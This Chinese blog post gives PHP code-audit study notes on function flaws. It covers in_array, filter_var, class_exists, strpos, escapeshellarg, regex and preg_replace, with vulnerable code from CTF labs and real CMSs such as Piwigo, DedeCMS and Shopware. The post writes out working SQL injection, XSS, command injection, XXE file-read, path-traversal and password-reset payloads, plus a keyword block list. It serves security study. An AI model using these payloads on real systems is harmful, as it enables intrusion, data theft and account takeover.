百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 编程字典 > 正文

php代码审计学习之函数缺陷(一)

toyiye 2024-06-21 12:39 18 浏览 0 评论

in_array函数缺陷

Wish List

  • Code
class Challenge {  const UPLOAD_DIRECTORY = './solutions/';  private $file;  private $whitelist;  public function __construct($file) {    $this->file = $file;    $this->whitelist = range(1, 24);  }  public function __destruct() {    if (in_array($this->file['name'], $this->whitelist)) {      move_uploaded_file(        $this->file['tmp_name'],        self::UPLOAD_DIRECTORY . $this->file['name']      );    }  }}$challenge = new Challenge($_FILES['solution']);
  • 代码理解

代码为一个文件上传的代码,如果文件名存在于1-24中,则上传文件

  • in_array函数
in_array检查数组中是否存在某个值
  • 题解

php弱类型比较时,6php会转换为6,6在1-24中间,所以可以进行上传

piwigo2.7.1实例分析

  • 环境搭建

漏洞分析

  • 于picture.php:332中
case 'rate' :    {      include_once(PHPWG_ROOT_PATH.'include/functions_rate.inc.php');      rate_picture($page['image_id'], $_POST['rate']);      redirect($url_self);    }

当case为rate时,将变量rate和变量imageid传入functionsrate.inc.php文件中的rate_picture函数

  • include/functions_rate.inc.php:38
or !in_array($rate, $conf['rate_items']))

查找变量rate是否存在于$conf['rate_items']当中

$conf['rate_items']

  • 直接将rate进行了拼接
$query = 'INSERT  INTO '.RATE_TABLE.'  (user_id,anonymous_id,element_id,rate,date)  VALUES  ('    .$user['id'].','    .'\''.$anonymous_id.'\','    .$image_id.','    .$rate    .',NOW());';  pwg_query($query);  return update_rating_score($image_id);}$query = 'INSERT  INTO '.RATE_TABLE.'  (user_id,anonymous_id,element_id,rate,date)  VALUES  ('    .$user['id'].','    .'\''.$anonymous_id.'\','    .$image_id.','    .$rate    .',NOW());';  pwg_query($query);  return update_rating_score($image_id);}

只要rate为array(0,1,2,3,4,5)便可以进行绕过,而in_array第三位未设置为true

  • payload
1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));# 
  • sqlmap

CTF

  • 环境搭建

  • stop_hack函数
function stop_hack($value){    $pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";    $back_list = explode("|",$pattern);    foreach($back_list as $hack){        if(preg_match("/$hack/i", $value))            die("$hack detected!");    }    return $value;}

stop_hack用来过滤一些危险函数

  • 注入

获取get的ID,通过stop_hack进行过滤并拼接到sql语句中进行查询

  • 报错注入payload
and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))

  • 参考
https://github.com/hongriSec/PHP-Audit-Labs/blob/master/PHP-Audit-Labs%E9%A2%98%E8%A7%A3/Day1-4/files/README.mdhttps://xz.aliyun.com/t/2160

filter_var函数缺陷

Twig

// composer require "twig/twig"require 'vendor/autoload.php';class Template {  private $twig;  public function __construct() {    $indexTemplate = '<img ' .      'src="https://loremflickr.com/320/240">' .      '<a href="{{link|escape}}">Next slide ?</a>';    // Default twig setup, simulate loading    // index.html file from disk    $loader = new Twig\Loader\ArrayLoader([      'index.html' => $indexTemplate    ]);    $this->twig = new Twig\Environment($loader);  }  public function getNexSlideUrl() {    $nextSlide = $_GET['nextSlide'];    return filter_var($nextSlide, FILTER_VALIDATE_URL);  }  public function render() {    echo $this->twig->render(      'index.html',      ['link' => $this->getNexSlideUrl()]    );  }}(new Template())->render();

使用escape和filter_var进行过滤

  • escape

默认是使用了htmlspecialchars方法进行过滤,

  • filter_var
使用特定的过滤器过滤一个变量mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )
  • htmlspecialchars转义
& (& 符号)  ===============  &" (双引号)  ===============  "' (单引号)  ===============  '< (小于号)  ===============  <> (大于号)  ===============  >

默认只过滤双引号,不过滤单引号,只有设置了:quotestyle 选项为ENT_QUOTES才会过滤单引号

  • payload
javascript://comment%250aalert(1)

anchor-cms

  • 环境搭建

源码分析

  • themes/default/404.php:9

  • anchor/functions/helpers.php:34 current_url()函数
function current_url() {    return Uri::current();}
  • system/uri.php:84
public static function current() {        if(is_null(static::$current)) static::$current = static::detect();        return static::$current;    }
  • detect 方法
public static function detect() {        // create a server object from global        $server = new Server($_SERVER);        $try = array('REQUEST_URI', 'PATH_INFO', 'ORIG_PATH_INFO');        foreach($try as $method) {            // make sure the server var exists and is not empty            if($server->has($method) and $uri = $server->get($method)) {                // apply a string filter and make sure we still have somthing left                if($uri = filter_var($uri, FILTER_SANITIZE_URL)) {                    // make sure the uri is not malformed and return the pathname                    if($uri = parse_url($uri, PHP_URL_PATH)) {                        return static::format($uri, $server);                    }                    // woah jackie, we found a bad'n                    throw new ErrorException('Malformed URI');                }            }        }        throw new OverflowException('Uri was not detected. Make sure the REQUEST_URI is set.');    }

关键代码

if($uri = filter_var($uri, FILTER_SANITIZE_URL)) {                    // make sure the uri is not malformed and return the pathname                    if($uri = parse_url($uri, PHP_URL_PATH)) {                        return static::format($uri, $server);                    }                    // woah jackie, we found a bad'n                    throw new ErrorException('Malformed URI');
  • system/uri.php:126
    public static function format($uri, $server) {        // Remove all characters except letters,        // digits and $-_.+!*'(),{}|\\^~[]`<>#%";/?:@&=.        $uri = filter_var(rawurldecode($uri), FILTER_SANITIZE_URL);        // remove script path/name        $uri = static::remove_script_name($uri, $server);        // remove the relative uri        $uri = static::remove_relative_uri($uri);        // return argument if not empty or return a single slash        return trim($uri, '/') ?: '/';    }

没有对xss进行过滤

  • payload
http://localhost:8888/test/index.php/%3Cscript%3Ealert(1)%3C/script%3E

CTF

  • 环境搭建

  • flag.php
<?php  $flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"?>
  • index.php
<?php $url = $_GET['url']; // 获取urlif(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){  //过滤url    $site_info = parse_url($url);    if(preg_match('/sec-redclub.com$/',$site_info['host'])){ //以sec-redclub.com结尾        exec('curl "'.$site_info['host'].'"', $result);        echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>              <center><textarea rows='20' cols='90'>";        echo implode(' ', $result);    } //命令执行    else{        die("<center><h1>Error: Host not allowed</h1></center>");    }}else{    echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>          <center><h3>For example:?url=http://sec-redclub.com</h3></center>";}?>
  • payload
syst1m://"|ls;"sec-redclub.comsyst1m://"|cat<f1agi3hEre.php;"sec-redclub.com

实例化任意对象漏洞

Snow Flake

  • code
function __autoload($className) { //自动加载  include $className;}$controllerName = $_GET['c'];$data = $_GET['d'];  //获取get的c与d作为类名与参数if (class_exists($controllerName)) {  $controller = new $controllerName($data['t'], $data['v']);  $controller->render();} else {  echo 'There is no page with this name';}class HomeController {  private $template;  private $variables;  public function __construct($template, $variables) {    $this->template = $template;    $this->variables = $variables;  }  public function render() {    if ($this->variables['new']) {      echo 'controller rendering new response';    } else {      echo 'controller rendering old response';    }  }}

如果存在如果程序存在 _autoload函数,classexists函数就会自动调用方法

  • payload
/?c=../../../../etc/passwd

Shopware 5.3.3 (XXE)

  • 环境搭建

代码分析

  • 漏洞触发点

  • 打断点

  • engine/Shopware/Controllers/Backend/ProductStream.php:52

  • engine/Shopware/Controllers/Backend/ProductStream.php:63

使用$this->Request()->getParam('sort')获取sort,然后进入RepositoryInterface类的unserialize方法

  • engine/Shopware/Components/LogawareReflectionHelper.php:56

调用的是LogawareReflectionHelper类的unserialize方法

$serialized为传入的sort变量,遍历取出className,传入createInstanceFromNamedArguments方法

  • engine/Shopware/Components/ReflectionHelper.php:40

新建一个反射类,并传入参数,类名与参数都为sort中的,而sort可控

  • 发送到burp

  • 修改payload
/test/backend/ProductStream/loadPreview?_dc=1583825465339&sort={"data":"http://localhost/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}}&conditions={}&shopId=1¤cyId=1&customerGroupKey=EK&page=1&start=0&limit=25
  • 测试

  • 参考
https://www.php.net/manual/zh/simplexmlelement.construct.php

CTF

  • code
<?phpclass NotFound{    function __construct()    {        die('404');    }}spl_autoload_register(    function ($class){        new NotFound();    });$classname = isset($_GET['name']) ? $_GET['name'] : null;$param = isset($_GET['param']) ? $_GET['param'] : null;$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;if(class_exists($classname)){    $newclass = new $classname($param,$param2);    var_dump($newclass);    foreach ($newclass as $key=>$value)        echo $key.'=>'.$value.'<br>';}

当classexists时,调用autoload方法,但是autoload方法不存在,新建了一个splautoloadregister方法,类似_autoload方法

  • 列出文件(GlobIterator类)
public GlobIterator::__construct ( string $pattern [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] )

第一个参数为要搜索的文件名,第二个参数为第二个参数为选择文件的哪个信息作为键名

  • payload
http://127.0.0.1:8888/index.php?name=GlobIterator?m=./*.php?m2=0

  • 读取flag
http://127.0.0.1:8888/index.php?name=SimpleXMLElement?m=%3C?xml%20version=%221.0%22?%3E%3C!DOCTYPE%20ANY%20[%3C!ENTITY%20xxe%20SYSTEM%20%22php://filter/read=convert.base64-encode/resource=f1agi3hEre.php%22%3E]%3E%3Cx%3E%26xxe;%3C/x%3E?m2=2

  • 参考
https://www.php.net/manual/en/function.spl-autoload-register.php

strpos使用不当引发漏洞

False Beard

  • code
class Login {  public function __construct($user, $pass) {    $this->loginViaXml($user, $pass);  }  public function loginViaXml($user, $pass) {    if (      (!strpos($user, '<') || !strpos($user, '>')) &&      (!strpos($pass, '<') || !strpos($pass, '>'))    ) {      $format = '<?xml version="1.0"?>' .        '<user v="%s"/><pass v="%s"/>';      $xml = sprintf($format, $user, $pass);      $xmlElement = new SimpleXMLElement($xml);      // Perform the actual login.      $this->login($xmlElement);    }  }}new Login($_POST['username'], $_POST['password']);
  • strpos
主要是用来查找字符在字符串中首次出现的位置。

查找代码中是否含有<与>的特殊符号,strpos在没找到指定字符时会返回flase,如果第一个字符找到就返回0,0的取反为1,就可以注入xml进行注入了

  • payload
user=<"><injected-tag property="&pass=<injected-tag>

DeDecms V5.7SP2任意密码重置漏洞

  • 环境搭建

  • 开启会员登陆并且注册两个会员

  • member/resetpassword.php:75 漏洞触发点
else if($dopost == "safequestion"){    $mid = preg_replace("#[^0-9]#", "", $id);    $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";    $row = $db->GetOne($sql);    if(empty($safequestion)) $safequestion = '';    if(empty($safeanswer)) $safeanswer = '';    if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)    {        sn($mid, $row['userid'], $row['email'], 'N');        exit();    }    else    {        ShowMsg("对不起,您的安全问题或答案回答错误","-1");        exit();    }}

将传入的mid进行查询,查询用户查询对应用户的安全问题、安全答案、用户id、电子邮件等信息,然后当安全问题和答案不为空且等于之前的设置的问题和答案的时候,进入sn函数

  • 查看数据表

当没设置问题答案时,safequestion为0,safeanswer为null,语句变为了

if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)$row['safequestion'] == 0 $row['safeanswer'] == nullif ('0' == ''& null == ''){    sn()} if(false && true)

  • member/inc/incpwdfunctions.php:150

  • member/inc/incpwdfunctions.php:73

进入newmail函数

如果$send == 'N'则发送重置邮件

sendmail($mailto,$mailtitle,$mailbody,$headers);
/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval
  • member/resetpassword.php:96

如果$id为空则退出,如果row不为空,则执行

    if(empty($setp))    {        $tptim= (60*60*24*3);        $dtime = time();        if($dtime - $tptim > $row['mailtime'])        {            $db->executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';");            ShowMsg("对不起,临时密码修改期限已过期","login.php");            exit();        }        require_once(dirname(__FILE__)."/templets/resetpassword2.htm");    }
  • member/templets/resetpassword2.htm:95
<input type="hidden" name="dopost" value="getpasswd"><input type="hidden" name="setp" value="2"><input type="hidden" name="id" value="<?php echo $id;?>" />

将setp的属性设置为2

  • member/resetpassword.php:123
elseif($setp == 2)     {        if(isset($key)) $pwdtmp = $key;        $sn = md5(trim($pwdtmp));        if($row['pwd'] == $sn)        {            if($pwd != "")            {                if($pwd == $pwdok)                {                    $pwdok = md5($pwdok);                    $sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";                    $db->executenonequery($sql);                    $sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";                    if($db->executenonequery($sql))                    {                        showmsg('更改密码成功,请牢记新密码', 'login.php');                        exit;                    }                }            }            showmsg('对不起,新密码为空或填写不一致', '-1');            exit;        }        showmsg('对不起,临时密码错误', '-1');        exit;    }

如果key等于$row['pwd'],则重置密码成功

漏洞验证

  • 访问重置密码链接获取key
member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=3

  • 重置密码
member/resetpassword.php?dopost=getpasswd&id=3&key=VeRkLvEU

CTF

  • 环境搭建

  • buy.php
<script type="text/javascript" src="js/buy.js"></script>
  • bug.js
function buy(){    $('#wait').show();    $('#result').hide();    var input = $('#numbers')[0];    if(input.validity.valid){        var numbers = input.value;        $.ajax({          method: "POST",          url: "api.php",          dataType: "json",          contentType: "application/json",           data: JSON.stringify({ action: "buy", numbers: numbers })        }).done(function(resp){            if(resp.status == 'ok'){                show_result(resp);            } else {                alert(resp.msg);            }        })    } else {        alert('invalid');    }    $('#wait').hide();}

将用户提交的数字传入到api.php的buy函数

  • api.php
    for($i=0; $i<7; $i++){        if($numbers[$i] == $win_numbers[$i]){            $same_count++;        }    }

由于是==,可进行弱类型比较,传入7个true

  • payload
[true,true,true,true,true,true,true]
  • 购买flag

escapeshellarg与escapeshellcmd使用不当

escapeshellcmd: 除去字串中的特殊符号 escapeshellarg 把字符串转码为可以在 shell 命令里使用的参数

postcard

  • code
class Mailer {  private function sanitize($email) {    if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {      return '';    }    return escapeshellarg($email);  }  public function send($data) {    if (!isset($data['to'])) {      $data['to'] = 'none@ripstech.com';    } else {      $data['to'] = $this->sanitize($data['to']);    }    if (!isset($data['from'])) {      $data['from'] = 'none@ripstech.com';    } else {      $data['from'] = $this->sanitize($data['from']);    }    if (!isset($data['subject'])) {      $data['subject'] = 'No Subject';    }    if (!isset($data['message'])) {      $data['message'] = '';    }    mail($data['to'], $data['subject'], $data['message'],      '', "-f" . $data['from']);  }}$mailer = new Mailer();$mailer->send($_POST);

新建一个MAil类进行邮件发送

  • Php内置函数mail
bool mail (    string $to , 接收人    string $subject , 邮件标题    string $message [, 征文    string $additional_headers [, 额外头部    string $additional_parameters ]] 额外参数)
  • Linux中的额外参数
-O option = valueQueueDirectory = queuedir 选择队列消息-X logfile这个参数可以指定一个目录来记录发送邮件时的详细日志情况。-f from email这个参数可以让我们指定我们发送邮件的邮箱地址。
  • 举个例子(原文图)

  • 结果
17220 <<< To: Alice@example.com 17220 <<< Subject: Hello Alice! 17220 <<< X-PHP-Originating-Script: 0:test.php 17220 <<< CC: somebodyelse@example.com 17220 <<< 17220 <<< <?php phpinfo(); ?> 17220 <<< [EOF]
  • filtervar()问题(FILTERVALIDATE_EMAIL)

filtervar() 问题在于,我们在双引号中嵌套转义空格仍然能够通过检测。同时由于底层正则表达式的原因,我们通过重叠单引号和双引号,欺骗 filterval() 使其认为我们仍然在双引号中,这样我们就可以绕过检测。

”aaa’aaa”@example.com
  • escapeshellcmd() 和 escapeshellarg()(会造成特殊字符逃逸)

  • 逃逸过程分析
$param = "127.0.0.1' -v -d a=1";$a = escapeshellcmd($param);$b = escapeshellarg($a);$cmd = "curl".$b;var_dump($a)."\n";var_dump($b)."\n";var_dump($cmd)."\n";system($cmd);

传入127.0.0.1' -v -d a=1,escapeshellarg首先进行转义,处理为'127.0.0.1'\'' -v -d a=1',接着escapeshellcmd处理,处理结果为'127.0.0.1'\'' -v -d a=1\',\ 被解释成了 \ 而不再是转义字符

参考

https://www.leavesongs.com/PENETRATION/some-tricks-of-attacking-lnmp-web-application.html

正则使用不当导致的路径穿越问题

Frost Pattern

  • code
class TokenStorage {  public function performAction($action, $data) {    switch ($action) {      case 'create':        $this->createToken($data);        break;      case 'delete':        $this->clearToken($data);        break;      default:        throw new Exception('Unknown action');    }  }  public function createToken($seed) {    $token = md5($seed);    file_put_contents('/tmp/tokens/' . $token, '...data');  }  public function clearToken($token) {    $file = preg_replace("/[^a-z.-_]/", "", $token);    unlink('/tmp/tokens/' . $file);  }}$storage = new TokenStorage();$storage->performAction($_GET['action'], $_GET['data']);
  • preg_replace(函数执行一个正则表达式的搜索和替换)
  • payload
$action =delete$data = ../../config.php

WeEngine0.8

  • web/source/site/category.ctrl.php:176

file_delete文件删除函数

  • framework/function/file.func.php:294

查看file_delete函数

  • 追朔$file变量从何而来
if (!empty($navs)) {        foreach ($navs as $row) {            file_delete($row['icon']);        }
  • 追朔$navs从何而来
    $navs = pdo_fetchall("SELECT icon, id FROM ".tablename('site_nav')." WHERE id IN (SELECT nid FROM ".tablename('site_category')." WHERE id = {$id} OR parentid = '$id')", array(), 'id');
  • web/source/site/category.ctrl.php:137

  • web/source/site/category.ctrl.php:130

$nav['icon'] 即为文件删除函数的参

parse_str函数缺陷

  • parse_str
parse_str的作用就是解析字符串并且注册成变量,它在注册变量之前不会验证当前变量是否存在,所以会直接覆盖掉当前作用域中原有的变量。

preg_replace函数之命令执行

Candle

  • code
header("Content-Type: text/plain");function complexStrtolower($regex, $value) {  return preg_replace(    '/(' . $regex . ')/ei',    'strtolower("\\1")',    $value  );}foreach ($_GET as $regex => $value) {  echo complexStrtolower($regex, $value) . "\n";}
  • preg_replace(函数执行一个正则表达式的搜索和替换)
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

$pattern 存在 /e 模式修正符,允许代码执行 /e 模式修正符,是 preg_replace() 将 $replacement 当做php代码来执行

将GET请求传过来的参数通过complexStrtolower函数执行,preg_replace函数存在e修正符

  • payload
\S*=${phpinfo()} 

参考

深入研究preg_replace与代码执行

CmsEasy 5.5

  • 环境搭建

漏洞分析

  • lib/tool/form.php:90

如果$form[$name]['default']内容被匹配到就会执行eval

  • cache/template/default/manage/#guestadd.php:175

全局搜索getform,主要注意catid是作为$name的

  • lib/table/archive.php:25

追朔catid,寻找到default

  • lib/tool/front_class.php:2367

  • lib/tool/front_class.php:493

  • lib/tool/front_class.php:332

$form[$name]['default']可控

  • lib/default/manage_act.php:29

  • 测试

Tips整理

  • in_array
第三个参数未设置为true,可利用弱类型比较绕过
  • filter_var(url过滤)
未对协议进行校验,可利用xxx://绕过
  • class_exists
当存在__autoload函数,会自动调用,如果类名可控,可造成危害,如果参数也可控,可利用内部函数进行攻击。
  • strpos
strpos在没找到指定字符时会返回flase,如果第一个字符找到就返回0
  • filtervar (FILTERVALIDATE_EMAIL)
filter_var() 问题在于,我们在双引号中嵌套转义空格仍然能够通过检测。同时由于底层正则表达式的原因,我们通过重叠单引号和双引号,欺骗 filter_val() 使其认为我们仍然在双引号中,这样我们就可以绕过检测。”aaa’aaa”@example.com
  • escapeshellarg与escapeshellcmd
escapeshellarg与escapeshellcmd配合使用会存在绕过
  • parse_str
parse_str的作用就是解析字符串并且注册成变量,它在注册变量之前不会验证当前变量是否存在,所以会直接覆盖掉当前作用域中原有的变量
  • preg_replace
$pattern 存在 /e 模式修正符,允许代码执行/e 模式修正符,是 preg_replace() 将 $replacement 当做php代码来执行
  • extract
从数组中将变量导入到当前的符号表
  • readfile
可利用 ../http/../../ 跳过目录(如检测关键字https是否存在)
  • 截断
%00 遇到遇到函数过滤会成为\0
  • 反序列化

PHP 反序列化漏洞学习

  • htmlentities
将字符转换为 HTML 转义字符

ENT_COMPAT(默认值):只转换双引号。 ENT_QUOTES:两种引号都转换。 ENT_NOQUOTES:两种引号都不转换。

  • $SERVER['REQUESTURI']
获取的参数是不会将参数中的特殊符号进行转换
  • HPP
id=1&id=2 只会接收第二个参数
  • md5(计算字符串的 MD5 散列值)
string md5 ( string $str [, bool $raw_output = false ] )

在md5方法中,如果可选的 raw_output 被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。

  • eregi截断漏洞

ereg可用%00截断,要求php<5.3.4

ereg编码%00时发生截断,不会检查%00后面的字符(%00算作1个字符)
  • ssrf

us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages

相关推荐

为何越来越多的编程语言使用JSON(为什么编程)

JSON是JavascriptObjectNotation的缩写,意思是Javascript对象表示法,是一种易于人类阅读和对编程友好的文本数据传递方法,是JavaScript语言规范定义的一个子...

何时在数据库中使用 JSON(数据库用json格式存储)

在本文中,您将了解何时应考虑将JSON数据类型添加到表中以及何时应避免使用它们。每天?分享?最新?软件?开发?,Devops,敏捷?,测试?以及?项目?管理?最新?,最热门?的?文章?,每天?花?...

MySQL 从零开始:05 数据类型(mysql数据类型有哪些,并举例)

前面的讲解中已经接触到了表的创建,表的创建是对字段的声明,比如:上述语句声明了字段的名称、类型、所占空间、默认值和是否可以为空等信息。其中的int、varchar、char和decimal都...

JSON对象花样进阶(json格式对象)

一、引言在现代Web开发中,JSON(JavaScriptObjectNotation)已经成为数据交换的标准格式。无论是从前端向后端发送数据,还是从后端接收数据,JSON都是不可或缺的一部分。...

深入理解 JSON 和 Form-data(json和formdata提交区别)

在讨论现代网络开发与API设计的语境下,理解客户端和服务器间如何有效且可靠地交换数据变得尤为关键。这里,特别值得关注的是两种主流数据格式:...

JSON 语法(json 语法 priority)

JSON语法是JavaScript语法的子集。JSON语法规则JSON语法是JavaScript对象表示法语法的子集。数据在名称/值对中数据由逗号分隔花括号保存对象方括号保存数组JS...

JSON语法详解(json的语法规则)

JSON语法规则JSON语法是JavaScript对象表示法语法的子集。数据在名称/值对中数据由逗号分隔大括号保存对象中括号保存数组注意:json的key是字符串,且必须是双引号,不能是单引号...

MySQL JSON数据类型操作(mysql的json)

概述mysql自5.7.8版本开始,就支持了json结构的数据存储和查询,这表明了mysql也在不断的学习和增加nosql数据库的有点。但mysql毕竟是关系型数据库,在处理json这种非结构化的数据...

JSON的数据模式(json数据格式示例)

像XML模式一样,JSON数据格式也有Schema,这是一个基于JSON格式的规范。JSON模式也以JSON格式编写。它用于验证JSON数据。JSON模式示例以下代码显示了基本的JSON模式。{"...

前端学习——JSON格式详解(后端json格式)

JSON(JavaScriptObjectNotation)是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。它基于JavaScriptProgrammingLa...

什么是 JSON:详解 JSON 及其优势(什么叫json)

现在程序员还有谁不知道JSON吗?无论对于前端还是后端,JSON都是一种常见的数据格式。那么JSON到底是什么呢?JSON的定义...

PostgreSQL JSON 类型:处理结构化数据

PostgreSQL提供JSON类型,以存储结构化数据。JSON是一种开放的数据格式,可用于存储各种类型的值。什么是JSON类型?JSON类型表示JSON(JavaScriptO...

JavaScript:JSON、三种包装类(javascript 包)

JOSN:我们希望可以将一个对象在不同的语言中进行传递,以达到通信的目的,最佳方式就是将一个对象转换为字符串的形式JSON(JavaScriptObjectNotation)-JS的对象表示法...

Python数据分析 只要1分钟 教你玩转JSON 全程干货

Json简介:Json,全名JavaScriptObjectNotation,JSON(JavaScriptObjectNotation(记号、标记))是一种轻量级的数据交换格式。它基于J...

比较一下JSON与XML两种数据格式?(json和xml哪个好)

JSON(JavaScriptObjectNotation)和XML(eXtensibleMarkupLanguage)是在日常开发中比较常用的两种数据格式,它们主要的作用就是用来进行数据的传...

取消回复欢迎 发表评论:

请填写验证码